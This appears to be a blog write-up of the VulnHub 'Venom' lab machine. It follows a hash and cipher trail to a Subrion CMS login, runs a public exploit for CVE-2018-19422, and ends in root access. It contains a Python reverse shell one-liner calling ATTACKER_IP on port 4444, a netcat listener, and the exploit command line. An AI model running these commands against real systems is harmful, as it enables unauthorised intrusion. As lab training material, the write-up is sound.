~/louizi
VulnHubMedium

VulnHub: Venom

An MD5 hash in a page comment cracks FTP access, a hint file and a Vigenère cipher unlock a CMS admin panel, and a known Subrion CMS RCE leads to root via a hardcoded backup password.

Nmap Scan

nmap -sV -sC -p- 192.168.11.115

nmap scan results

Ports 21, 80, and 443 are open; 22, 7070, and 8084 are closed.

Port 80: Web Enumeration

http://192.168.11.115/ runs Apache. Viewing the page source turns up an MD5 hash left in an HTML comment:

Hash: 5f2a[REDACTED]5c23

MD5 hash found in page source comment

Cracking it (CrackStation or hashcat) recovers a word — which also happens to double as a login for the FTP service seen in the nmap scan, since anonymous login is disabled there:

MD5 hash cracked, result redacted

Port 21: FTP Access

Logging in with the recovered credential:

FTP login with recovered credentials, redacted

Checking the files folder turns up hint.txt:

FTP directory listing, downloading hint.txt

Its contents are a set of encoded messages:

contents of hint.txt

The hint points at a second hostname. Adding it to /etc/hosts:

echo "192.168.11.115 venom.box" | sudo tee -a /etc/hosts

Subrion CMS homepage at venom.box

Decoding the Hints

Both strings in hint.txt are Base64 — the first one encoded three times over:

CyberChef decoding the triple-Base64 string

The second decodes to a link to a Vigenère cipher tool:

CyberChef decoding the second string to a Vigenère cipher link

The hint’s advice to “follow” the FTP credential suggests using that word as the cipher key, with dora as the corresponding username. Decoding the password hash from hint.txt with that key recovers the admin password.

Exploiting Subrion CMS

Logging in to venom.box/panel as dora:

Subrion admin panel login page

The panel identifies Subrion CMS v4.2.1 — vulnerable to an authenticated arbitrary file upload leading to RCE (CVE-2018-19422):

searchsploit subrion 4.2.1

searchsploit results for Subrion 4.2.1

searchsploit -m 49876

downloading the exploit script

Running it, with the admin password redacted from the command itself:

python3 49876.py -u http://venom.box/panel/ -l dora -p E[REDACTED]4

exploit script running and uploading a webshell, password redacted

Shell Stabilization

# On Kali
nc -lvnp 4444

# On target
python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

Then the standard PTY upgrade:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Privilege Escalation

Logging in as the FTP user over su, then checking a hidden web backup folder turns up a second user’s password in a .htaccess file:

.htaccess backup file revealing a plaintext password, redacted

su nathan

switching to the nathan user

Final Flags

User Flag

Once pivoted to nathan, the first flag is readable from the home directory:

cat /home/nathan/user.txt

Root Privilege Escalation

sudo -l shows nathan can run almost any command as root — including /bin/bash directly:

sudo /bin/bash
cat /root/root.txt

obtaining a root shell

Takeaways

  • Every credential in this chain came from data the box itself exposed — a hash in an HTML comment, a hint file over FTP, a password reused between a web comment and a system-level FTP account. Nothing here required guessing.
  • The Vigenère step is a good reminder that “encoded” isn’t “encrypted”: once the key is known (or guessable from context, as here), classical ciphers fall immediately — CyberChef made short work of both layers.
  • The final RCE was a documented CVE (CVE-2018-19422) against a specific CMS version; the harder part of this box was the credential/cipher chain to reach an authenticated session in the first place, not the exploit itself.
  • Password reuse across services (the same word doubling as an FTP login here) is consistently one of the fastest paths from “found something” to “got a shell.”